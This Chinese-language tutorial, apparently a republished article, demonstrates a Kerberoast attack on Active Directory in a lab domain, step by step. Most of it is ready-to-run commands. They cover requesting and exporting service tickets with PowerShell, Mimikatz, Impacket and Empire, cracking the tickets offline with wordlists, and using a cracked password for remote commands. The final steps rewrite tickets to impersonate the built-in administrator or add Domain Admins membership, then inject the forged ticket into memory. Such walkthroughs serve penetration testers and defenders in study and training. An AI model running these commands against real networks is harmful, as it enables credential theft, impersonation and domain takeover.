您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關如何進行Kerberoast攻擊演示,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
簡單直白的說Kerberoast攻擊,就是攻擊者為了獲取目標服務的訪問權限,而設法破解Kerberos服務票據并重寫它們的過程。這是紅隊當中非常常見的一種攻擊手法,因為它不需要與服務目標服務進行任何交互,并且可以使用合法的活動目錄訪問來請求和導出可以離線破解的服務票據,以獲取到最終的明文密碼。之所以出現這種情況,是因為服務票據使用服務帳戶的散列(NTLM)進行加密,所以任何域用戶都可以從服務轉儲散列,而無需將shell引入運行該服務的系統中。
攻擊者通常會選擇那些可能設置了弱密,碼破解成功率較高的票據來嘗試破解。一旦攻擊者成功破解出了票據,他們有時不僅僅獲取的只是服務訪問權限,如果服務被配置為在高權限下運行,那么整個域都將可能被攻擊者拿下。這些票據可以通過考慮多種因素來識別,例如:
SPNs綁定到域用戶賬戶
最后一次密碼設置(Password last set)
密碼過期時間
最后一次登錄(Last logon)
具體來說,Kerberoast攻擊涉及以下五個步驟:
服務主體名稱(SPN)發現
請求服務票據
導出服務票據
破解服務票據
重寫服務票據&RAM注入
在服務主體名稱(SPN)發現這篇文章中,已經為大家介紹了如何通過查詢Active Directory的服務主體名稱,來發現網絡中服務的方法。
為特定SPN請求服務票據的最簡單方法是通過PowerShell,這個方法是Tim Medin在DerbyCon 4.0演講中介紹的。
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
執行klist命令將列出所有可用的緩存票據。
klist
請求服務票據的另一種解決方案是通過Mimikatz指定服務主體名稱作為目標。
kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
與klist類似,內存中存在的Kerberos票據列表可以通過Mimikatz來檢索。從現有的PowerShell會話中,Invoke-Mimikatz腳本將輸出所有票據。
Invoke-Mimikatz -Command '"kerberos::list"'
或者,加載Kiwi模塊添加一些額外的Mimikatz命令,它們也可以執行相同的任務。
load kiwi kerberos_ticket_list
還或者可以通過執行一個自定義的Kiwi命令:
kiwi_cmd kerberos::list
Impacket中有一個python模塊,它可以請求僅屬于域用戶的Kerberos服務票據,與計算機帳戶服務票據相比應該更易于破解。但是,想要與Active Directory進行交互,需要有效的域憑據,因為它將從不屬于域的系統執行。
./GetUserSPNs.py -request pentestlab.local/test
服務帳戶哈希也將以John the Ripper格式檢索。
使用Matan Hart開發的PowerShell模塊可以幫助我們自動識別弱服務票據,該模塊是RiskySPN中的一部分。主要作用是對屬于用戶的可用服務票據執行審計,并根據用戶帳戶和密碼過期時限來查找最容易包含弱密碼的票據。
Find-PotentiallyCrackableAccounts -FullData -Verbose
該腳本將提供比klist和Mimikatz更詳細的輸出,包括組信息,密碼有效期和破解窗口。
使用domain參數執行同一模塊,將返回所有具有關聯服務主體名稱的用戶帳戶。
Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
服務票據信息也可以以CSV格式導出,以便離線查看。
Export-PotentiallyCrackableAccounts
所有出現在控制臺中的票據信息都將被寫入文件中。
這里還有一個腳本(相同存儲庫的一部分),可以通過其SPN為服務實例獲取服務票據。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
Tim Medin的Kerberoast工具包已實現流程的自動化。Auto-Kerberoast中包含了Tim的原始腳本,其中包含兩個可執行各種功能的PowerShell腳本,例如以Base64, John和Hashcat格式列出和導出服務票據等。
List-UserSPNs
還有一個domain參數可以只列出特定域的SPN。
List-UserSPNs -Domain "pentestlab.local"
Mimikatz是可以導出Kerberos服務票據的標準工具。從PowerShell會話中,以下命令將列出內存中的所有可用票據,并將其保存在遠程主機中。
Invoke-Mimikatz -Command '"kerberos::list /export"'
同樣,PowerShell Empire有一個模塊可以自動完成Kerberos服務票據提取任務。
usemodule credentials/mimikatz/extract_tickets
該模塊將使用Invoke-Mimikatz函數自動執行以下命令。
standard::base64 kerberos::list /export
支持Kerberos身份驗證的服務票據哈希可以直接使用PowerShell Empire模塊提取。哈希的格式可以提取為John或Hashcat。
usemodule credentials/invoke_kerberoast
該模塊將檢索所有服務帳戶的密碼哈希值。
AutoKerberoast PowerShell腳本將請求并提取base64格式的所有服務票據。
Invoke-AutoKerberoast
AutoKerberoast存儲庫中還有一個腳本,它將以hashcat兼容格式顯示提取的票據。
屬于特定域的提升組的票據也可以提取用于更具針對性的Kerberoasting。
Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat John
Matan Hart開發的Get-TGSCipher PowerShell模塊,可以以三種不同的格式提取服務票據的密碼哈希值:John,Hashcat和Kerberoast。可以在SPN發現過程中檢索腳本所需的關聯服務的服務主體名稱。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John TGSCipher - Service Ticket Hash
使用Get-TGSCipher函數的好處是,無需使用Mimikatz導出票據,這可以大大降低警報的觸發,以及省去將票據轉換為john格式的步驟。
python腳本tgsrepcrack是Tim Medin Kerberoast工具包的一部分,可以通過提供的密碼列表來破解Kerberos票據。
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
Lee Christensen開發了一個名為extractServiceTicketParts的python腳本,它可以為我們提取服務票據的哈希值,以及一款Go語言編寫的哈希破解器tgscrack ,兩者可以配合使用。
python extractServiceTicketParts.py PENTESTLAB_001.kirbi
tgscrack需要我們為其指定哈希文件以及字典文件的本地存放路徑。
tgscrack.exe -hashfile hash.txt -wordlist passwords.txt
密碼將以明文顯示。
如果PowerShell remoting已啟用,則可以使用從服務票據中檢索的密碼執行遠程命令等操作。
Enable-PSRemoting $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
正在運行的進程列表將被檢索
Kerberos票據使用密碼的NTLM哈希簽名。如果票據散列已被破解,那么可以使用Kerberoast python腳本重寫票據。這將允許在服務將被訪問時模擬任何域用戶或偽造賬戶。此外,提權也是可能的,因為用戶可以被添加到諸如域管理員的高權限組中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下Mimikatz命令將新票據重新注入內存,以便通過Kerberos協議對目標服務執行身份驗證。
kerberos::ptt PENTESTLAB.kirbi
上述就是小編為大家分享的如何進行Kerberoast攻擊演示了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。